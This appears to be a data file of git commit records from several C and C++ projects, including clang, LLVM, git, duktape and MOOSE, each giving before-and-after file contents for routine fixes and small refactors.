{"commit":"95ee667503b8b3123951242e3f7b93598cb9f9b9","old_file":"test\/CodeGen\/2003-08-18-SigSetJmp.c","new_file":"test\/CodeGen\/2003-08-18-SigSetJmp.c","old_contents":"\/\/ RUN: %clang -S -emit-llvm %s  -o \/dev\/null\n\/\/ XFAIL: mingw,win32\n\n#include <setjmp.h>\n\nsigjmp_buf B;\nint foo() {\n  sigsetjmp(B, 1);\n  bar();\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-apple-darwin -emit-llvm %s  -o \/dev\/null\n\n#define _JBLEN ((9 * 2) + 3 + 16)\ntypedef int sigjmp_buf[_JBLEN + 1];\nint sigsetjmp(sigjmp_buf env, int savemask);\nsigjmp_buf B;\nint foo() {\n  sigsetjmp(B, 1);\n  bar();\n}\n","subject":"Remove the need for a header and specify a triple so that the type sizes make sense.","message":"Remove the need for a header and specify a triple so that the type\nsizes make sense.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136309 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ac74c205b0faa35640922b55095f27913fc2158c","old_file":"misc\/clang_cast_align.c","new_file":"misc\/clang_cast_align.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nstruct dummy {\n\tdouble d;\n};\n\nint main(int argc, char *argv[]) {\n\tstruct dummy *d;\n\tchar *p;\n\n\t(void) argc; (void) argv;\n\n\t\/* This causes a warning with clang -Wcast-align:\n\t *\n\t * clang_cast_align.c:13:6: warning: cast from 'char *' to 'struct dummy *' increases required alignment\n\t *       from 1 to 8 [-Wcast-align]\n\t *         d = (struct dummy *) p;\n\t *\n\t * Note that malloc() alignment guarantees are enough to make the\n\t * warning harmless, so it'd be nice to suppress.\n\t *\/\n\n\tp = (char *) malloc(sizeof(struct dummy));\n\td = (struct dummy *) p;\n\n\t\/* Casting through a void pointer suppressed the warning for clang. *\/\n\n\tp = (char *) malloc(sizeof(struct dummy));\n\td = (struct dummy *) (void *) p;\n\n\treturn 0;\n}\n","subject":"Add example of suppressing clang -Wcast-align","message":"Add example of suppressing clang -Wcast-align\n","lang":"C","license":"mit","repos":"svaarala\/duktape,reqshark\/duktape,nivertech\/duktape,kphillisjr\/duktape,sloth4413\/duktape,reqshark\/duktape,sloth4413\/duktape,svaarala\/duktape,reqshark\/duktape,zeropool\/duktape,jmptrader\/duktape,tassmjau\/duktape,chenyaqiuqiu\/duktape,zeropool\/duktape,reqshark\/duktape,harold-b\/duktape,kphillisjr\/duktape,harold-b\/duktape,markand\/duktape,jmptrader\/duktape,zeropool\/duktape,tassmjau\/duktape,harold-b\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,chenyaqiuqiu\/duktape,zeropool\/duktape,jmptrader\/duktape,nivertech\/duktape,tassmjau\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,tassmjau\/duktape,svaarala\/duktape,svaarala\/duktape,chenyaqiuqiu\/duktape,sloth4413\/duktape,harold-b\/duktape,zeropool\/duktape,harold-b\/duktape,nivertech\/duktape,kphillisjr\/duktape,chenyaqiuqiu\/duktape,jmptrader\/duktape,harold-b\/duktape,sloth4413\/duktape,svaarala\/duktape,svaarala\/duktape,nivertech\/duktape,markand\/duktape,reqshark\/duktape,zeropool\/duktape,zeropool\/duktape,tassmjau\/duktape,jmptrader\/duktape,reqshark\/duktape,nivertech\/duktape,chenyaqiuqiu\/duktape,reqshark\/duktape,kphillisjr\/duktape,kphillisjr\/duktape,tassmjau\/duktape,kphillisjr\/duktape,tassmjau\/duktape,sloth4413\/duktape,svaarala\/duktape,jmptrader\/duktape,markand\/duktape,nivertech\/duktape,zeropool\/duktape,nivertech\/duktape,harold-b\/duktape,markand\/duktape,jmptrader\/duktape,kphillisjr\/duktape,markand\/duktape,reqshark\/duktape,chenyaqiuqiu\/duktape,tassmjau\/duktape,reqshark\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,zeropool\/duktape,tassmjau\/duktape,kphillisjr\/duktape,svaarala\/duktape,markand\/duktape,reqshark\/duktape,zeropool\/duktape,sloth4413\/duktape,sloth4413\/duktape,nivertech\/duktape,sloth4413\/duktape,nivertech\/duktape,markand\/duktape,nivertech\/duktape,markand\/duktape,chenyaqiuqiu\/duktape,harold-b\/duktape,kphillisjr\/duktape,sloth4413\/duktape,kphillisjr\/duktape,sloth4413\/duktape,jmptrader\/duktape,jmptrader\/duktape,svaarala\/duktape,harold-b\/duktape,jmptrader\/duktape,tassmjau\/duktape"}
{"commit":"9be47d768eb967add11f6ac218ccb49973f9d5ee","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"int main()\n{\n\treturn 0;\n}\n","new_contents":"#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n\nconst char usage[] = \"Usage: %s <filenname>\\n\";\n\n#define READ_SIZE 2048\n\nint main(int argc, char *argv[])\n{\n\tif (argc != 2) {\n\t\tprintf(usage, argv[0]);\n\t\treturn 1;\n\t}\n\n\t\/\/FILE *file = fopen(argv[1], \"r\");\n\tint fd = open(argv[1], O_RDONLY);\n\tchar buf[READ_SIZE];\n\tssize_t bytes;\n\tdo {\n\t\tbytes = read(fd, buf, READ_SIZE);\n\t\tif (bytes == -1) {\n\t\t\tperror(\"error reading file\");\n\t\t\treturn 1;\n\t\t}\n\n\t\twrite(STDOUT_FILENO, buf, bytes);\n\t} while (bytes == READ_SIZE);\n\n\treturn 0;\n}\n","subject":"Read file passed as argv[1]","message":"Read file passed as argv[1]\n","lang":"C","license":"mit","repos":"orodley\/imgprint"}
{"commit":"070f63791af1c9190388ee715a2c9c0b68bc9b2c","old_file":"machine\/include\/diag.h","new_file":"machine\/include\/diag.h","old_contents":"#ifndef KERN_DIAG\n#define KERN_DIAG\n\n#include <stdarg.h>\n\nvoid panic(const char* diagnostic_message, ...);\nvoid shutdown() __attribute__((noreturn));\n\nextern void hang_machine() __attribute__((noreturn));\n\n#ifdef DEBUG\n#define assert(x) if (!(x)) panic(\"Assertion failed: \" __FILE__ \":%u: \" #x, __LINE__)\n#else\n#define assert(x) (void) 0\n#endif\n\n#endif \/* KERN_DIAG *\/\n","new_contents":"#ifndef KERN_DIAG\n#define KERN_DIAG\n\n#include <stdarg.h>\n\nvoid panic(const char* diagnostic_message, ...) __attribute__((noreturn));\nvoid shutdown() __attribute__((noreturn));\n\nextern void hang_machine() __attribute__((noreturn));\n\n#ifdef DEBUG\n#define assert(x) if (!(x)) panic(\"Assertion failed: \" __FILE__ \":%u: \" #x, __LINE__)\n#else\n#define assert(x) (void) 0\n#endif\n\n#endif \/* KERN_DIAG *\/\n","subject":"Declare panic function as noreturn","message":"machine: Declare panic function as noreturn\n","lang":"C","license":"bsd-2-clause","repos":"cksystemsteaching\/selfie,cksystemsteaching\/selfie,cksystemsteaching\/selfie"}
{"commit":"60890cc60ccfc7000791a47f1f3d69fdb8884dd7","old_file":"compat\/win32mmap.c","new_file":"compat\/win32mmap.c","old_contents":"#include \"..\/git-compat-util.h\"\n\nvoid *git_mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset)\n{\n\tHANDLE hmap;\n\tvoid *temp;\n\tsize_t len;\n\tstruct stat st;\n\tuint64_t o = offset;\n\tuint32_t l = o & 0xFFFFFFFF;\n\tuint32_t h = (o >> 32) & 0xFFFFFFFF;\n\n\tif (!fstat(fd, &st))\n\t\tlen = xsize_t(st.st_size);\n\telse\n\t\tdie(\"mmap: could not determine filesize\");\n\n\tif ((length + offset) > len)\n\t\tlength = len - offset;\n\n\tif (!(flags & MAP_PRIVATE))\n\t\tdie(\"Invalid usage of mmap when built with USE_WIN32_MMAP\");\n\n\thmap = CreateFileMapping((HANDLE)_get_osfhandle(fd), 0, PAGE_WRITECOPY,\n\t\t0, 0, 0);\n\n\tif (!hmap)\n\t\treturn MAP_FAILED;\n\n\ttemp = MapViewOfFileEx(hmap, FILE_MAP_COPY, h, l, length, start);\n\n\tif (!CloseHandle(hmap))\n\t\twarning(\"unable to close file mapping handle\\n\");\n\n\treturn temp ? temp : MAP_FAILED;\n}\n\nint git_munmap(void *start, size_t length)\n{\n\treturn !UnmapViewOfFile(start);\n}\n","new_contents":"#include \"..\/git-compat-util.h\"\n\nvoid *git_mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset)\n{\n\tHANDLE hmap;\n\tvoid *temp;\n\toff_t len;\n\tstruct stat st;\n\tuint64_t o = offset;\n\tuint32_t l = o & 0xFFFFFFFF;\n\tuint32_t h = (o >> 32) & 0xFFFFFFFF;\n\n\tif (!fstat(fd, &st))\n\t\tlen = st.st_size;\n\telse\n\t\tdie(\"mmap: could not determine filesize\");\n\n\tif ((length + offset) > len)\n\t\tlength = xsize_t(len - offset);\n\n\tif (!(flags & MAP_PRIVATE))\n\t\tdie(\"Invalid usage of mmap when built with USE_WIN32_MMAP\");\n\n\thmap = CreateFileMapping((HANDLE)_get_osfhandle(fd), 0, PAGE_WRITECOPY,\n\t\t0, 0, 0);\n\n\tif (!hmap)\n\t\treturn MAP_FAILED;\n\n\ttemp = MapViewOfFileEx(hmap, FILE_MAP_COPY, h, l, length, start);\n\n\tif (!CloseHandle(hmap))\n\t\twarning(\"unable to close file mapping handle\\n\");\n\n\treturn temp ? temp : MAP_FAILED;\n}\n\nint git_munmap(void *start, size_t length)\n{\n\treturn !UnmapViewOfFile(start);\n}\n","subject":"Fix \"Out of memory? mmap failed\" for files larger than 4GB on Windows","message":"Fix \"Out of memory? mmap failed\" for files larger than 4GB on Windows\n\nThe git_mmap implementation was broken for file sizes that wouldn't fit\ninto a size_t (32 bits).  This was caused by intermediate variables that\nwere only 32 bits wide when they should be 64 bits.\n\nSigned-off-by: Johannes Sixt <fd432345609ae4d58c1aa629cb66ba96d1391622@kdbg.org>\nSigned-off-by: Junio C Hamano <a6723cc3f76163bf7adb636a73ac3b0ceb3e6b9b@pobox.com>\n","lang":"C","license":"mit","repos":"destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git"}
{"commit":"38c576c56e89b6dd232d3c072a1294cd1e519135","old_file":"test\/CFrontend\/2007-11-07-CopyAggregateAlign.c","new_file":"test\/CFrontend\/2007-11-07-CopyAggregateAlign.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | grep \"align 2\" | count 6\nstruct A { char s, t, u, v; short a; };\nvoid q() { struct A a, b; a = b; }\n","subject":"Check that the first and third characters, s and u, are accessed with an alignment of 2 not 1.","message":"Check that the first and third characters, s and u,\nare accessed with an alignment of 2 not 1.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@43932 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm"}
{"commit":"2964992cd8409df9870b8c38e95261c56b58145b","old_file":"src\/appjs_window.h","new_file":"src\/appjs_window.h","old_contents":"#ifndef APPJS_WINDOW_H\n#define APPJS_WINDOW_H\n#pragma once\n\n#include \"appjs.h\"\n\n\/\/ GTK+ binding for linux\n#if defined(__LINUX__)\n\n#include \"linux\/mainwindow.h\"\n\n#endif \/* end of linux *\/\n\n\/\/ GTK+ binding for linux\n#if defined(__WIN__)\n\n#include \"linux\/mainwindow.h\"\n\n#endif \/* end of linux *\/\n\n\nnamespace appjs {\n\nusing namespace v8;\n\nclass Window : public node::ObjectWrap {\n\n  DECLARE_NODE_OBJECT_FACTORY(Window);\n  \n  DEFINE_CPP_METHOD(Show);\n  DEFINE_CPP_METHOD(Hide);\n\n};\n\n} \/* appjs *\/\n#endif \/* end of APPJS_WINDOW_H *\/\n\n","new_contents":"#ifndef APPJS_WINDOW_H\n#define APPJS_WINDOW_H\n#pragma once\n\n#include \"appjs.h\"\n\n\/\/ GTK+ binding for linux\n#if defined(__LINUX__)\n\n#include \"linux\/mainwindow.h\"\n\n#endif \/* end of linux *\/\n\n\/\/ Windows necessary files\n#if defined(__WIN__)\n\n#include \"windows\/mainwindow.h\"\n\n#endif \/* end of windows *\/\n\n\nnamespace appjs {\n\nusing namespace v8;\n\nclass Window : public node::ObjectWrap {\n\n  DECLARE_NODE_OBJECT_FACTORY(Window);\n  \n  DEFINE_CPP_METHOD(Show);\n  DEFINE_CPP_METHOD(Hide);\n\n};\n\n} \/* appjs *\/\n#endif \/* end of APPJS_WINDOW_H *\/\n\n","subject":"Copy paste always introduce bugs:|","message":"Copy paste always introduce bugs:|\n","lang":"C","license":"mit","repos":"milani\/appjs,appjs\/appjs,milani\/appjs,modulexcite\/appjs,imshibaji\/appjs,SaravananRajaraman\/appjs,yuhangwang\/appjs,eric-seekas\/appjs,tempbottle\/appjs,imshibaji\/appjs,imshibaji\/appjs,SaravananRajaraman\/appjs,modulexcite\/appjs,yuhangwang\/appjs,tempbottle\/appjs,reekoheek\/appjs,SaravananRajaraman\/appjs,yuhangwang\/appjs,modulexcite\/appjs,reekoheek\/appjs,appjs\/appjs,eric-seekas\/appjs,milani\/appjs,modulexcite\/appjs,appjs\/appjs,eric-seekas\/appjs,tempbottle\/appjs,tempbottle\/appjs,SaravananRajaraman\/appjs,SaravananRajaraman\/appjs,reekoheek\/appjs,yuhangwang\/appjs,imshibaji\/appjs,appjs\/appjs,eric-seekas\/appjs,SaravananRajaraman\/appjs"}
{"commit":"06d59e057530edb17d4532fb92bdbf7599c98339","old_file":"Firmware\/Src\/board_id.c","new_file":"Firmware\/Src\/board_id.c","old_contents":"#include \"board_id.h\"\n\n\/\/FIXME rm\n#include \"iprintf.h\"\n\n#include <stdint.h>\n\n\/**\n * Returns an approximate GUID (in STM32 land) based on a bunch of fabrication-related metadata.\n *\n * See Technical Reference Manual pg933 (\"Unique device ID register\") for address and explanation.\n * First 32 bits are wafer X Y coordinates in BCD\n * Next 8 are wafer number\n * Next 56 are lot number in ASCII\n *\/\n#define UNIQUE_ID_REG_ADDR            0x1FFFF7AC\n#define UNIQUE_ID_REG_GET8(x)        ((x >= 0 && x < 12) ? (*(uint8_t *) (UNIQUE_ID_REG_ADDR + (x))) : 0)\n\nuint32_t bid_GetID(void) {\n   int i;\n   for(i = 0; i < 12; i++) {\n      \/\/FIXME rm printing\n      iprintf(\"ID #%d - 0x%x (%c)\\n\", i, UNIQUE_ID_REG_GET8(i), UNIQUE_ID_REG_GET8(i));\n   }\n\n   \/\/use ASCII lot number as u32 board ID\n   return   UNIQUE_ID_REG_GET8( 8) << 0 |\n            UNIQUE_ID_REG_GET8( 9) << 8 |\n            UNIQUE_ID_REG_GET8(10) << 16|\n            UNIQUE_ID_REG_GET8(11) << 24;\n}\n\n","new_contents":"#include \"board_id.h\"\n\n\/\/FIXME rm\n#include \"iprintf.h\"\n\n#include <stdint.h>\n\n\/**\n * Returns an approximate GUID (in STM32 land) based on a bunch of fabrication-related metadata.\n *\n * See Technical Reference Manual pg933 (\"Unique device ID register\") for address and explanation.\n * First 32 bits are wafer X Y coordinates in BCD\n * Next 8 are wafer number\n * Next 56 are lot number in ASCII\n *\/\n#define UNIQUE_ID_REG_ADDR            0x1FFFF7AC\n#define UNIQUE_ID_REG_GET8(x)        ((x >= 0 && x < 12) ? (*(uint8_t *) (UNIQUE_ID_REG_ADDR + (x))) : 0)\n\nuint32_t bid_GetID(void) {\n   int i;\n   for(i = 0; i < 12; i++) {\n      \/\/FIXME rm printing\n      iprintf(\"ID #%d - 0x%x (%c)\\n\", i, UNIQUE_ID_REG_GET8(i), UNIQUE_ID_REG_GET8(i));\n   }\n\n   \/\/ use wafer X\/Y for ID. The tray I got all has the same lot number\n   return   UNIQUE_ID_REG_GET8(0) << 0 |\n            UNIQUE_ID_REG_GET8(1) << 8 |\n            UNIQUE_ID_REG_GET8(2) << 16|\n            UNIQUE_ID_REG_GET8(3) << 24;\n}\n\n","subject":"Switch to wafer X\/Y for board ID","message":"Switch to wafer X\/Y for board ID\n","lang":"C","license":"mit","repos":"borgel\/sympetrum-v2,borgel\/sympetrum-v2"}
{"commit":"a68fe89852145287bff6727effe9a7e7b680c017","old_file":"framework\/include\/base\/MeshChangedInterface.h","new_file":"framework\/include\/base\/MeshChangedInterface.h","old_contents":"\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#ifndef MESHCHANGEDINTERFACE_H\n#define MESHCHANGEDINTERFACE_H\n\n#include \"InputParameters.h\"\n#include \"ExecStore.h\"\n#include \"MooseEnum.h\"\n\n\/\/ Forward declarations\nclass MeshChangedInterface;\n\ntemplate <>\nInputParameters validParams<MeshChangedInterface>();\n\n\/**\n * Interface for notifications that the mesh has changed.\n *\/\nclass MeshChangedInterface\n{\npublic:\n  MeshChangedInterface(const InputParameters & params);\n  virtual ~MeshChangedInterface() = default;\n\n  \/**\n   * Called on this object when the mesh changes\n   *\/\n  virtual void meshChanged() {}\n\nprotected:\n  \/\/\/ Reference to FEProblemBase instance\n  FEProblemBase & _mci_feproblem;\n};\n\n#endif \/* MESHCHANGEDINTERFACE_H *\/\n","new_contents":"\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#ifndef MESHCHANGEDINTERFACE_H\n#define MESHCHANGEDINTERFACE_H\n\n#include \"MooseEnum.h\"\n\n\/\/ Forward declarations\nclass FEProblemBase;\nclass InputParameters;\nclass MeshChangedInterface;\n\ntemplate <typename T>\nInputParameters validParams();\n\ntemplate <>\nInputParameters validParams<MeshChangedInterface>();\n\n\/**\n * Interface for notifications that the mesh has changed.\n *\/\nclass MeshChangedInterface\n{\npublic:\n  MeshChangedInterface(const InputParameters & params);\n  virtual ~MeshChangedInterface() = default;\n\n  \/**\n   * Called on this object when the mesh changes\n   *\/\n  virtual void meshChanged() {}\n\nprotected:\n  \/\/\/ Reference to FEProblemBase instance\n  FEProblemBase & _mci_feproblem;\n};\n\n#endif \/* MESHCHANGEDINTERFACE_H *\/\n","subject":"Remove unused header, switch header to fwd decl","message":"Remove unused header, switch header to fwd decl\n","lang":"C","license":"lgpl-2.1","repos":"bwspenc\/moose,SudiptaBiswas\/moose,dschwen\/moose,laagesen\/moose,dschwen\/moose,yipenggao\/moose,idaholab\/moose,idaholab\/moose,andrsd\/moose,harterj\/moose,bwspenc\/moose,andrsd\/moose,jessecarterMOOSE\/moose,idaholab\/moose,dschwen\/moose,idaholab\/moose,laagesen\/moose,Chuban\/moose,lindsayad\/moose,lindsayad\/moose,bwspenc\/moose,YaqiWang\/moose,permcody\/moose,liuwenf\/moose,dschwen\/moose,nuclear-wizard\/moose,sapitts\/moose,YaqiWang\/moose,milljm\/moose,yipenggao\/moose,sapitts\/moose,jessecarterMOOSE\/moose,milljm\/moose,friedmud\/moose,Chuban\/moose,nuclear-wizard\/moose,nuclear-wizard\/moose,lindsayad\/moose,friedmud\/moose,idaholab\/moose,sapitts\/moose,dschwen\/moose,yipenggao\/moose,sapitts\/moose,YaqiWang\/moose,jessecarterMOOSE\/moose,sapitts\/moose,milljm\/moose,harterj\/moose,jessecarterMOOSE\/moose,friedmud\/moose,jessecarterMOOSE\/moose,permcody\/moose,SudiptaBiswas\/moose,harterj\/moose,andrsd\/moose,laagesen\/moose,permcody\/moose,SudiptaBiswas\/moose,SudiptaBiswas\/moose,permcody\/moose,lindsayad\/moose,milljm\/moose,SudiptaBiswas\/moose,liuwenf\/moose,andrsd\/moose,bwspenc\/moose,liuwenf\/moose,Chuban\/moose,liuwenf\/moose,liuwenf\/moose,yipenggao\/moose,YaqiWang\/moose,friedmud\/moose,lindsayad\/moose,laagesen\/moose,Chuban\/moose,harterj\/moose,bwspenc\/moose,milljm\/moose,nuclear-wizard\/moose,harterj\/moose,andrsd\/moose,liuwenf\/moose,laagesen\/moose"}
{"commit":"a3c982089a1443e909ebf8d6cf9be88f23c1f452","old_file":"libutils\/include\/utils\/assume.h","new_file":"libutils\/include\/utils\/assume.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef _UTILS_ASSUME_H\n#define _UTILS_ASSUME_H\n\n#include <utils\/builtin.h>\n\n\/* This idiom is a way of passing extra information or hints to GCC. It is only\n * occasionally successful, so don't think of it as a silver optimisation\n * bullet.\n *\/\n#define ASSUME(x) \\\n    do { \\\n        if (!(x)) { \\\n            __builtin_unreachable(); \\\n        } \\\n    } while (0)\n\n#endif\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef _UTILS_ASSUME_H\n#define _UTILS_ASSUME_H\n\n#include <utils\/attribute.h>\n#include <utils\/builtin.h>\n#include <utils\/stringify.h>\n\n\/* This idiom is a way of passing extra information or hints to GCC. It is only\n * occasionally successful, so don't think of it as a silver optimisation\n * bullet.\n *\/\n#define ASSUME(x) \\\n    do { \\\n        if (!(x)) { \\\n            __builtin_unreachable(); \\\n        } \\\n    } while (0)\n\n\/* Indicate to the compiler that wherever this macro appears is a cold\n * execution path. That is, it is not performance critical and likely rarely\n * used. A perfect example is error handling code. This gives the compiler a\n * light hint to deprioritise optimisation of this path.\n *\/\n#define COLD_PATH() \\\n    do { \\\n        JOIN(cold_path_, __COUNTER__): COLD UNUSED; \\\n    } while (0)\n\n\/* The opposite of `COLD_PATH`. That is, aggressively optimise this path,\n * potentially at the expense of others.\n *\/\n#define HOT_PATH() \\\n    do { \\\n        JOIN(hot_path_, __COUNTER__): HOT UNUSED; \\\n    } while (0)\n\n#endif\n","subject":"Add dedicated macros to indicate hot and cold execution paths.","message":"libutils: Add dedicated macros to indicate hot and cold execution paths.\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,agacek\/util_libs,agacek\/util_libs,agacek\/util_libs"}
{"commit":"a69d4d917316e4123ec6510845d21ae53b3ecf45","old_file":"src\/config.h","new_file":"src\/config.h","old_contents":"\/\/===----------------------------- config.h -------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/\n\/\/  Defines macros used within the libc++abi project.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LIBCXXABI_CONFIG_H\n#define LIBCXXABI_CONFIG_H\n\n#include <unistd.h>\n\n#if defined(_POSIX_THREADS) && _POSIX_THREADS > 0\n#  define LIBCXXABI_SINGLE_THREADED 0\n#else\n#  define LIBCXXABI_SINGLE_THREADED 1\n#endif\n\n\/\/ Set this in the CXXFLAGS when you need it, because otherwise we'd have to\n\/\/ #if !defined(__linux__) && !defined(__APPLE__) && ...\n\/\/ and so-on for *every* platform.\n#ifndef LIBCXXABI_BAREMETAL\n#  define LIBCXXABI_BAREMETAL 0\n#endif\n\n#endif \/\/ LIBCXXABI_CONFIG_H\n","new_contents":"\/\/===----------------------------- config.h -------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/\n\/\/  Defines macros used within the libc++abi project.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LIBCXXABI_CONFIG_H\n#define LIBCXXABI_CONFIG_H\n\n#include <unistd.h>\n\n#if !defined(LIBCXXABI_SINGLE_THREADED) && \\\n    defined(_POSIX_THREADS) && _POSIX_THREADS > 0\n#  define LIBCXXABI_SINGLE_THREADED 0\n#else\n#  define LIBCXXABI_SINGLE_THREADED 1\n#endif\n\n\/\/ Set this in the CXXFLAGS when you need it, because otherwise we'd have to\n\/\/ #if !defined(__linux__) && !defined(__APPLE__) && ...\n\/\/ and so-on for *every* platform.\n#ifndef LIBCXXABI_BAREMETAL\n#  define LIBCXXABI_BAREMETAL 0\n#endif\n\n#endif \/\/ LIBCXXABI_CONFIG_H\n","subject":"Allow LIBCXXABI_SINGLE_THREADED to be defined by build scripts","message":"Allow LIBCXXABI_SINGLE_THREADED to be defined by build scripts\n\ngit-svn-id: 6a9f6578bdee8d959f0ed58970538b4ab6004734@216952 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libcxxabi,llvm-mirror\/libcxxabi,llvm-mirror\/libcxxabi,llvm-mirror\/libcxxabi,llvm-mirror\/libcxxabi"}
{"commit":"2de28b4ab779c0d530f4381ebc5dd48ed2ebc29b","old_file":"android\/jni\/InteriorsExplorer\/View\/InteriorStreamingDialogView.h","new_file":"android\/jni\/InteriorsExplorer\/View\/InteriorStreamingDialogView.h","old_contents":"\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#pragma once\n\n#include \"IInteriorStreamingDialogView.h\"\n#include \"InteriorsExplorerViewIncludes.h\"\n#include \"AndroidNativeState.h\"\n\nnamespace ExampleApp\n{\n    namespace InteriorsExplorer\n    {\n        namespace View\n        {\n            class InteriorStreamingDialogView : public IInteriorStreamingDialogView\n            {\n            public:\n                AndroidNativeState& m_nativeState;\n                jclass m_uiViewClass;\n                jobject m_uiView;\n\n                InteriorStreamingDialogView(AndroidNativeState& nativeState);\n\n                ~InteriorStreamingDialogView();\n\n                void Show();\n                void Hide(bool interiorLoaded);\n            };\n\n        }\n\n    }\n}","new_contents":"\/\/ Copyright eeGeo Ltd (2012-2015), All Rights Reserved\n\n#pragma once\n\n#include \"IInteriorStreamingDialogView.h\"\n#include \"InteriorsExplorerViewIncludes.h\"\n#include \"AndroidNativeState.h\"\n\nnamespace ExampleApp\n{\n    namespace InteriorsExplorer\n    {\n        namespace View\n        {\n            class InteriorStreamingDialogView : public IInteriorStreamingDialogView\n            {\n            public:\n                InteriorStreamingDialogView(AndroidNativeState& nativeState);\n\n                ~InteriorStreamingDialogView();\n\n                void Show();\n                void Hide(bool interiorLoaded);\n\n            private:\n                AndroidNativeState& m_nativeState;\n                jclass m_uiViewClass;\n                jobject m_uiView;\n            };\n\n        }\n\n    }\n}","subject":"Fix naming concern from previous commit. Buddy: Sam","message":"Fix naming concern from previous commit. Buddy: Sam\n","lang":"C","license":"bsd-2-clause","repos":"wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,eegeo\/eegeo-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,eegeo\/eegeo-example-app,eegeo\/eegeo-example-app,wrld3d\/wrld-example-app,wrld3d\/wrld-example-app"}
